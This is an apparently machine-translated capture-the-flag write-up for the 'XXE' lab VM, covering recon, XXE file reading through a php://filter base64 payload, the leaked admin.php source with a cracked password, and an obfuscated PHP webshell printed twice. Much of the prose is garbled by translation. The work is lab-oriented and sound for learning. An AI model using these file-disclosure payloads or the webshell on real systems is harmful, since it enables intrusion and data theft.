------------ ------------ restore content begins
Two days ago to see on the public micro-channel number XXE this range, wanted to try, although online article has been written about this too much, but still plans to write out the water, 233,333,333, really happy fishing in troubled waters .jpg
0x01 Installation
There's really nothing, unpacked vmware imported boot just fine
0x02 Information Collection & Analysis
nmap first direct sweep, is not difficult to determine the IP drone
Anyway drone, direct scavenging -A
IP access is the default page apache2 of no use
However, according to the scan result nmap, robots.txt file exists, the Disable the path and XXE admin.php
However admin.php can not access, it should be no permission emmmmm
Xxe get access path
Just landed tested it and found that sends the user name output
Login button corresponds to a js onclick event
Js code to find the corresponding, POST send an xml request, also called XXE drone, direct capture XXE
<script type="text/javascript">
function XMLFunction(){
var xml = '' +
'<?xml version="1.0" encoding="UTF-8"?>' +
'<root>' +
'<name>' + $('#name').val() + '</name>' +
'<password>' + $('#password').val() + '</password>' +
'</root>';
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
console.log(xmlhttp.readyState);
console.log(xmlhttp.responseText);
document.getElementById('errorMessage').innerHTML = xmlhttp.responseText;
}
}
xmlhttp.open("POST","xxe.php",true);
xmlhttp.send(xml);
};
</script>
0x03 implementation process
Now that we know is xxe, or linux, be sure to read the passwd file directly etc directory files for testing, and validation is successful, xxe loopholes, there also has been a r00t, manual confusion must have far-reaching effects (but did not come back later to spend), the first record to say
Try Now admin.php file contains successful, try to contain it in front of an inaccessible
payload php://filter/read=convert.base64-encode/resource=admin.php
The results obtained, Base64 Decode
<?php
session_start();
?>
<html lang = "en">
<head>
<title>admin</title>
<link href = "css/bootstrap.min.css" rel = "stylesheet">
<style>
body {
padding-top: 40px;
padding-bottom: 40px;
background-color: #ADABAB;
}
.form-signin {
max-width: 330px;
padding: 15px;
margin: 0 auto;
color: #017572;
}
.form-signin .form-signin-heading,
.form-signin .checkbox {
margin-bottom: 10px;
}
.form-signin .checkbox {
font-weight: normal;
}
.form-signin .form-control {
position: relative;
height: auto;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
padding: 10px;
font-size: 16px;
}
.form-signin .form-control:focus {
z-index: 2;
}
.form-signin input[type="email"] {
margin-bottom: -1px;
border-bottom-right-radius: 0;
border-bottom-left-radius: 0;
border-color:#017572;
}
.form-signin input[type="password"] {
margin-bottom: 10px;
border-top-left-radius: 0;
border-top-right-radius: 0;
border-color:#017572;
}
h2{
text-align: center;
color: #017572;
}
</style>
</head>
<body>
<h2>Enter Username and Password</h2>
<div class = "container form-signin">
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username'])
&& !empty($_POST['password'])) {
if ($_POST['username'] == 'administhebest' &&
md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
$_SESSION['valid'] = true;
$_SESSION['timeout'] = time();
$_SESSION['username'] = 'administhebest';
echo "You have entered valid use name and password <br />";
$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
echo $flag;
}else {
$msg = 'Maybe Later';
}
}
?>
</div> <!-- W00t/W00t -->
<div class = "container">
<form class = "form-signin" role = "form"
action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
?>" method = "post">
<h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
<input type = "text" class = "form-control"
name = "username"
required autofocus></br>
<input type = "password" class = "form-control"
name = "password" required>
<button class = "btn btn-lg btn-primary btn-block" type = "submit"
name = "login">Login</button>
</form>
Click here to clean <a href = "adminlog.php" tite = "Logout">Session.
</div>
</body>
</html>
Find username administhebest
MD5 password is decrypted admin@123
Landing attempt, however, was not what emmmmm
In admin.php which also saw a flagmeout.php file, use the above manner contains
After Decode Base64
<?php
$flag = "<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->";
echo $flag;
?>
Well, again this is a Base32 emmmm
L2V0Yy8uZmxhZy5waHA=
Matryoshka 233333, Base64
/etc/.flag.php
Then also nothing to say, once the file contains, there is the full path, and direct file: ///etc/.flag.php
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$À=+_;$Á=$Â=$Ã=$Ä=$Æ=$È=$É=$Ê=$Ë=++$Á[];$Â++;$Ã++;$Ã++;$Ä++;$Ä++;$Ä++;$Æ++;$Æ++;$Æ++;$Æ++;$È++;$È++;$È++;$È++;$È++;$É++;$É++;$É++;$É++;$É++;$É++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ê++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$Ë++;$__('$_="'.$___.$Á.$Â.$Ã.$___.$Á.$À.$Á.$___.$Á.$À.$È.$___.$Á.$À.$Ã.$___.$Á.$Â.$Ã.$___.$Á.$Â.$À.$___.$Á.$É.$Ã.$___.$Á.$É.$À.$___.$Á.$É.$À.$___.$Á.$Ä.$Æ.$___.$Á.$Ã.$É.$___.$Á.$Æ.$Á.$___.$Á.$È.$Ã.$___.$Á.$Ã.$É.$___.$Á.$È.$Ã.$___.$Á.$Æ.$É.$___.$Á.$Ã.$É.$___.$Á.$Ä.$Æ.$___.$Á.$Ä.$Á.$___.$Á.$È.$Ã.$___.$Á.$É.$Á.$___.$Á.$É.$Æ.'"');$__($_);
Get a bunch of strange things, look at big brother's answer, and is a variant of php webshell, look like a run on the local, the question is, I direct that contains the file read out of something looks like it will be because of encoding there is a problem, and it will ultimately usephp://filter/read=convert.base64-encode/resource=flagmeout.php
包含出来再Base64Decode,添加上php文件标记
<?php
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$脌=+_;$脕=$脗=$脙=$脛=$脝=$脠=$脡=$脢=$脣=++$脕[];$脗++;$脙++;$脙++;$脛++;$脛++;$脛++;$脝++;$脝++;$脝++;$脝++;$脠++;$脠++;$脠++;$脠++;$脠++;$脡++;$脡++;$脡++;$脡++;$脡++;$脡++;$脢++;$脢++;$脢++;$脢++;$脢++;$脢++;$脢++;$脣++;$脣++;$脣++;$脣++;$脣++;$脣++;$脣++;$__('$_="'.$___.$脕.$脗.$脙.$___.$脕.$脌.$脕.$___.$脕.$脌.$脠.$___.$脕.$脌.$脙.$___.$脕.$脗.$脙.$___.$脕.$脗.$脌.$___.$脕.$脡.$脙.$___.$脕.$脡.$脌.$___.$脕.$脡.$脌.$___.$脕.$脛.$脝.$___.$脕.$脙.$脡.$___.$脕.$脝.$脕.$___.$脕.$脠.$脙.$___.$脕.$脙.$脡.$___.$脕.$脠.$脙.$___.$脕.$脝.$脡.$___.$脕.$脙.$脡.$___.$脕.$脛.$脝.$___.$脕.$脛.$脕.$___.$脕.$脠.$脙.$___.$脕.$脡.$脕.$___.$脕.$脡.$脝.'"');$__($_);
?>
最终使用phpstudy,开启错误显示,本地访问这个webshell得到了flag
0x04 后续
后面虽然也的到了flag,但是发现前面的账户和密码并没有派上用场,就去找了找,看有没有其他思路,看了其他大佬的做法,dirfuzz一下xxe路径,结果这里面还有一个admin.php
登陆一下,其实就是的flag跳转的就是我们前面找到的flagmeout.php
但其实这个跳转也打不开,所以思路还是走到了xxe包含
five一定要好好学习啊,北方的冬天有暖气啊!!!!!
参考链接: